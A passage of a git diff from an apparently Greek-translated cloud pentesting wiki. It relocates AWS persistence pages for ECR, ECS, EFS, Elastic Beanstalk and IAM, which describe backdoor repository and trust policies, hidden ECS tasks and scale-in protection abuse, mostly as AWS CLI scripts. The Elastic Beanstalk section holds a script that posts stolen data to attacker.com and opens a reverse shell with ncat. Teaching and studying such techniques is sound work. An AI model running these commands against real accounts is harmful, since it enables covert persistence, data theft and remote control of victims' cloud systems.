μητρώο και να σπρώξουν ή να τραβήξουν οποιαδήποτε εικόνα από οποιοδήποτε αποθετήριο Amazon ECR. - -### Πολιτική Μητρώου & Διασυνοριακή Αναπαραγωγή - -Είναι δυνατόν να αναπαράγετε αυτόματα ένα μητρώο σε έναν εξωτερικό λογαριασμό ρυθμίζοντας τη διασυνοριακή αναπαραγωγή, όπου πρέπει να **υποδείξετε τον εξωτερικό λογαριασμό** στον οποίο θέλετε να αναπαραγάγετε το μητρώο. - -
- -Αρχικά, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο μητρώο με μια **πολιτική μητρώου** όπως: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Στη συνέχεια, εφαρμόστε τη ρύθμιση αναπαραγωγής: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..89f22e5c5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Κρυμμένη Docker Image με Malicious Code + +Ένας attacker θα μπορούσε να **upload a Docker image containing malicious code** σε ένα ECR repository και να το χρησιμοποιήσει για να διατηρήσει persistence στον στοχευμένο AWS account. Στη συνέχεια, ο attacker θα μπορούσε να αναπτύξει το malicious image σε διάφορες υπηρεσίες εντός του account, όπως Amazon ECS ή EKS, με stealthy τρόπο. + +### Repository Policy + +Προσθέστε μια πολιτική σε ένα μεμονωμένο repository που παραχωρεί σε εσάς (ή σε όλους) πρόσβαση στο repository: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> Σημειώστε ότι το ECR απαιτεί οι χρήστες να έχουν **άδεια** να πραγματοποιούν κλήσεις στο API **`ecr:GetAuthorizationToken`** μέσω μιας IAM policy **προτού να μπορέσουν να πιστοποιηθούν** σε ένα registry και να κάνουν push ή pull οποιεσδήποτε εικόνες από οποιοδήποτε Amazon ECR repository. + +### Πολιτική μητρώου & Cross-account Replication + +Είναι δυνατόν να αναπαραγάγετε αυτόματα ένα registry σε έναν εξωτερικό λογαριασμό ρυθμίζοντας cross-account replication, όπου χρειάζεται να **δηλώσετε τον εξωτερικό λογαριασμό** στον οποίο θέλετε να αναπαραγάγετε το registry. + +
+ +Πρώτα, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο registry με μια **registry policy** όπως: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Στη συνέχεια, εφαρμόστε τη διαμόρφωση replication: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (prefix backdoor για μελλοντικά repos) + +Καταχρησιμοποιήστε τα ECR Repository Creation Templates για να τοποθετήσετε αυτόματα backdoor σε οποιοδήποτε repository που το ECR δημιουργεί αυτόματα κάτω από ένα ελεγχόμενο prefix (για παράδειγμα μέσω Pull-Through Cache ή Create-on-Push). Αυτό παρέχει μόνιμη μη εξουσιοδοτημένη πρόσβαση σε μελλοντικά repos χωρίς να αγγίζονται τα υπάρχοντα. + +- Απαιτούμενα perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template). +- Επίπτωση: Οποιοδήποτε νέο repository δημιουργείται υπό το στοχευμένο prefix κληρονομεί αυτόματα μια attacker-controlled repository policy (π.χ. cross-account read/write), tag mutability, και scanning defaults. + +
+Τοποθέτηση backdoor σε μελλοντικά PTC-created repos κάτω από επιλεγμένο prefix +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index 6edf74a52..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Για περισσότερες πληροφορίες, ελέγξτε: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Κρυφή Περιοδική Εργασία ECS - -> [!NOTE] -> TODO: Δοκιμή - -Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κρυφή περιοδική εργασία ECS χρησιμοποιώντας το Amazon EventBridge για να **προγραμματίσει την εκτέλεση μιας κακόβουλης εργασίας περιοδικά**. Αυτή η εργασία μπορεί να εκτελεί αναγνώριση, να εξάγει δεδομένα ή να διατηρεί την επιμονή στον λογαριασμό AWS. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Backdoor Container in Existing ECS Task Definition - -> [!NOTE] -> TODO: Test - -Ένας επιτιθέμενος μπορεί να προσθέσει ένα **κρυφό backdoor container** σε μια υπάρχουσα ECS task definition που εκτελείται παράλληλα με νόμιμα containers. Το backdoor container μπορεί να χρησιμοποιηθεί για επιμονή και εκτέλεση κακόβουλων δραστηριοτήτων. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Undocumented ECS Service - -> [!NOTE] -> TODO: Test - -Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **undocumented ECS service** που εκτελεί μια κακόβουλη εργασία. Ρυθμίζοντας τον επιθυμητό αριθμό εργασιών στο ελάχιστο και απενεργοποιώντας την καταγραφή, γίνεται πιο δύσκολο για τους διαχειριστές να παρατηρήσουν την κακόβουλη υπηρεσία. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..9a02c5bcc --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,152 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Κρυφή Περιοδική ECS Task + +> [!NOTE] +> TODO: Να δοκιμαστεί + +Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κρυφή περιοδική ECS task χρησιμοποιώντας το Amazon EventBridge για να προγραμματίσει περιοδικά την εκτέλεση μιας κακόβουλης task. Αυτή η task μπορεί να πραγματοποιήσει reconnaissance, να exfiltrate δεδομένα ή να διατηρήσει persistence στον AWS account. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container σε υπάρχουσα ECS task definition + +> [!NOTE] +> TODO: Δοκιμή + +Ένας επιτιθέμενος μπορεί να προσθέσει ένα **stealthy backdoor container** σε μια υπάρχουσα ECS task definition που τρέχει παράλληλα με νόμιμα containers. Το backdoor container μπορεί να χρησιμοποιηθεί για persistence και για την εκτέλεση κακόβουλων δραστηριοτήτων. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Μη τεκμηριωμένη ECS service + +> [!NOTE] +> TODO: Δοκιμή + +Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **μη τεκμηριωμένη ECS service** που εκτελεί ένα κακόβουλο task. Θέτοντας τον επιθυμητό αριθμό των tasks στο ελάχιστο και απενεργοποιώντας το logging, γίνεται πιο δύσκολο για τους διαχειριστές να εντοπίσουν την κακόβουλη service. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS Persistence μέσω Task Scale-In Protection (UpdateTaskProtection) + +Κακοχρησιμοποιήστε το ecs:UpdateTaskProtection για να αποτρέψετε τα service tasks από το να τερματιστούν λόγω scale‑in events και rolling deployments. Με τη συνεχή επέκταση της προστασίας, ένας επιτιθέμενος μπορεί να κρατήσει ένα μακροχρόνιο task σε λειτουργία (για C2 ή συλλογή δεδομένων) ακόμη και αν οι αμυνόμενοι μειώσουν το desiredCount ή ωθήσουν νέες task revisions. + +Βήματα για αναπαραγωγή στην περιοχή us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Επίπτωση: Ένα προστατευμένο task παραμένει RUNNING παρότι desiredCount=0 και εμποδίζει τις αντικαταστάσεις κατά τις νέες αναπτύξεις, επιτρέποντας stealthy long‑lived persistence εντός της υπηρεσίας ECS. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index 4bc43b68c..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Τροποποίηση Πολιτικής Πόρου / Ομάδες Ασφαλείας - -Τροποποιώντας την **πολιτική πόρου και/ή τις ομάδες ασφαλείας** μπορείτε να προσπαθήσετε να διατηρήσετε την πρόσβασή σας στο σύστημα αρχείων. - -### Δημιουργία Σημείου Πρόσβασης - -Μπορείτε να **δημιουργήσετε ένα σημείο πρόσβασης** (με δικαιώματα root στο `/`) προσβάσιμο από μια υπηρεσία όπου έχετε εφαρμόσει **άλλη επιμονή** για να διατηρήσετε προνομιακή πρόσβαση στο σύστημα αρχείων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..f47a28201 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Τροποποίηση Resource Policy / Security Groups + +Τροποποιώντας το **resource policy** και/ή τις **security groups**, μπορείτε να προσπαθήσετε να διατηρήσετε την πρόσβασή σας στο σύστημα αρχείων. + +### Δημιουργία Access Point + +Μπορείτε να **create an access point** (με root access στο `/`) προσβάσιμο από μια υπηρεσία όπου έχετε υλοποιήσει **other persistence**, ώστε να διατηρήσετε προνομιούχα πρόσβαση στο σύστημα αρχείων. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md deleted file mode 100644 index db589c573..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ /dev/null @@ -1,75 +0,0 @@ -# AWS - Elastic Beanstalk Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Persistence in Instance - -Για να διατηρηθεί η επιμονή μέσα στον λογαριασμό AWS, θα μπορούσε να εισαχθεί κάποιο **μηχανισμός επιμονής μέσα στην instance** (cron job, ssh key...) ώστε ο επιτιθέμενος να μπορεί να έχει πρόσβαση και να κλέψει τα **credentials IAM ρόλου από την υπηρεσία μεταδεδομένων**. - -### Backdoor in Version - -Ένας επιτιθέμενος θα μπορούσε να προσθέσει backdoor στον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα. - -### New backdoored version - -Αντί να αλλάξει τον κώδικα στην πραγματική έκδοση, ο επιτιθέμενος θα μπορούσε να αναπτύξει μια νέα backdoored έκδοση της εφαρμογής. - -### Abusing Custom Resource Lifecycle Hooks - -> [!NOTE] -> TODO: Test - -Το Elastic Beanstalk παρέχει lifecycle hooks που σας επιτρέπουν να εκτελείτε προσαρμοσμένα scripts κατά τη διάρκεια της προμήθειας και τερματισμού της instance. Ένας επιτιθέμενος θα μπορούσε να **ρυθμίσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που εξάγει δεδομένα ή διατηρεί πρόσβαση στον λογαριασμό AWS**. -```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access -echo '#!/bin/bash -aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv -gzip /tmp/data.csv -curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil -ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh - -# Attacker uploads the script to an S3 bucket -aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh - -# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook -echo 'Resources: -AWSEBAutoScalingGroup: -Metadata: -AWS::ElasticBeanstalk::Ext: -TriggerConfiguration: -triggers: -- name: stealthy-lifecycle-hook -events: -- "autoscaling:EC2_INSTANCE_LAUNCH" -- "autoscaling:EC2_INSTANCE_TERMINATE" -target: -ref: "AWS::ElasticBeanstalk::Environment" -arn: -Fn::GetAtt: -- "AWS::ElasticBeanstalk::Environment" -- "Arn" -stealthyLifecycleHook: -Type: AWS::AutoScaling::LifecycleHook -Properties: -AutoScalingGroupName: -Ref: AWSEBAutoScalingGroup -LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING -NotificationTargetARN: -Ref: stealthy-lifecycle-hook -RoleARN: -Fn::GetAtt: -- AWSEBAutoScalingGroup -- Arn' > stealthy_lifecycle_hook.yaml - -# Attacker applies the new environment configuration -aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md new file mode 100644 index 000000000..0e87b4956 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - Elastic Beanstalk Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +For more information check: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Persistence in Instance + +Για να διατηρήσει persistence μέσα στον AWS λογαριασμό, μπορεί να εισαχθεί κάποιος **persistence mechanism μέσα στο instance** (cron job, ssh key...) έτσι ώστε ο attacker να μπορεί να αποκτήσει πρόσβαση και να κλέψει IAM role **credentials από το metadata service**. + +### Backdoor in Version + +Ένας attacker θα μπορούσε να backdoor τον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα. + +### New backdoored version + +Αντί να αλλάξει τον κώδικα στην υπάρχουσα version, ο attacker θα μπορούσε να αναπτύξει μια νέα backdoored version της εφαρμογής. + +### Abusing Custom Resource Lifecycle Hooks + +> [!NOTE] +> TODO: Test + +Το Elastic Beanstalk παρέχει lifecycle hooks που επιτρέπουν την εκτέλεση custom scripts κατά το instance provisioning και termination. Ένας attacker θα μπορούσε να **διαμορφώσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που exfiltrates δεδομένα ή διατηρεί πρόσβαση στον AWS account**. +```bash +# Attacker creates a script that exfiltrates data and maintains access +echo '#!/bin/bash +aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv +gzip /tmp/data.csv +curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil +ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh + +# Attacker uploads the script to an S3 bucket +aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh + +# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook +echo 'Resources: +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml + +# Attacker applies the new environment configuration +aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index 711fff2f8..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Για περισσότερες πληροφορίες, επισκεφθείτε: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Κοινές Τεχνικές IAM Persistence - -- Δημιουργία χρήστη -- Προσθήκη ελεγχόμενου χρήστη σε προνομιούχα ομάδα -- Δημιουργία κλειδιών πρόσβασης (του νέου χρήστη ή όλων των χρηστών) -- Παροχή επιπλέον δικαιωμάτων σε ελεγχόμενους χρήστες/ομάδες (συνδεδεμένες πολιτικές ή inline πολιτικές) -- Απενεργοποίηση MFA / Προσθήκη της δικής σας συσκευής MFA -- Δημιουργία καταστάσεως Ρόλου Αλυσίδας (περισσότερα για αυτό παρακάτω στην επιμονή STS) - -### Πολιτικές Εμπιστοσύνης Ρόλου Backdoor - -Μπορείτε να προσθέσετε μια backdoor σε μια πολιτική εμπιστοσύνης για να μπορείτε να την αναλάβετε για έναν εξωτερικό πόρο που ελέγχετε (ή για όλους): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Πολιτική Πίσω Πόρτας Έκδοση - -Δώστε δικαιώματα Διαχειριστή σε μια πολιτική που δεν είναι η τελευταία της έκδοση (η τελευταία έκδοση θα πρέπει να φαίνεται νόμιμη), στη συνέχεια αναθέστε αυτή την έκδοση της πολιτικής σε έναν ελεγχόμενο χρήστη/ομάδα. - -### Πίσω Πόρτα / Δημιουργία Παρόχου Ταυτότητας - -Εάν ο λογαριασμός εμπιστεύεται ήδη έναν κοινόχρηστο πάροχο ταυτότητας (όπως το Github), οι συνθήκες της εμπιστοσύνης θα μπορούσαν να αυξηθούν ώστε ο επιτιθέμενος να μπορεί να τις εκμεταλλευτεί. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..226fccd4d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Συνηθισμένες IAM Persistence + +- Δημιουργία χρήστη +- Προσθήκη ελεγχόμενου χρήστη σε προνομιούχα ομάδα +- Δημιουργία access keys (του νέου χρήστη ή όλων των χρηστών) +- Παροχή επιπλέον δικαιωμάτων σε ελεγχόμενους χρήστες/ομάδες (attached policies ή inline policies) +- Απενεργοποίηση MFA / Προσθήκη δικής σου MFA συσκευής +- Δημιουργία κατάστασης Role Chain Juggling (περισσότερα παρακάτω στο STS persistence) + +### Backdoor Role Trust Policies + +Μπορείς να backdoor-άρεις μια trust policy ώστε να μπορείς να assume αυτήν για έναν εξωτερικό πόρο που ελέγχεις (ή για όλους): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Δώστε Administrator permissions σε μια policy που δεν είναι στην τελευταία της έκδοση (η τελευταία έκδοση πρέπει να φαίνεται νόμιμη), στη συνέχεια αναθέστε αυτήν την έκδοση της policy σε έναν ελεγχόμενο user/group. + +### Backdoor / Create Identity Provider + +Εάν ο λογαριασμός ήδη εμπιστεύεται έναν κοινό identity 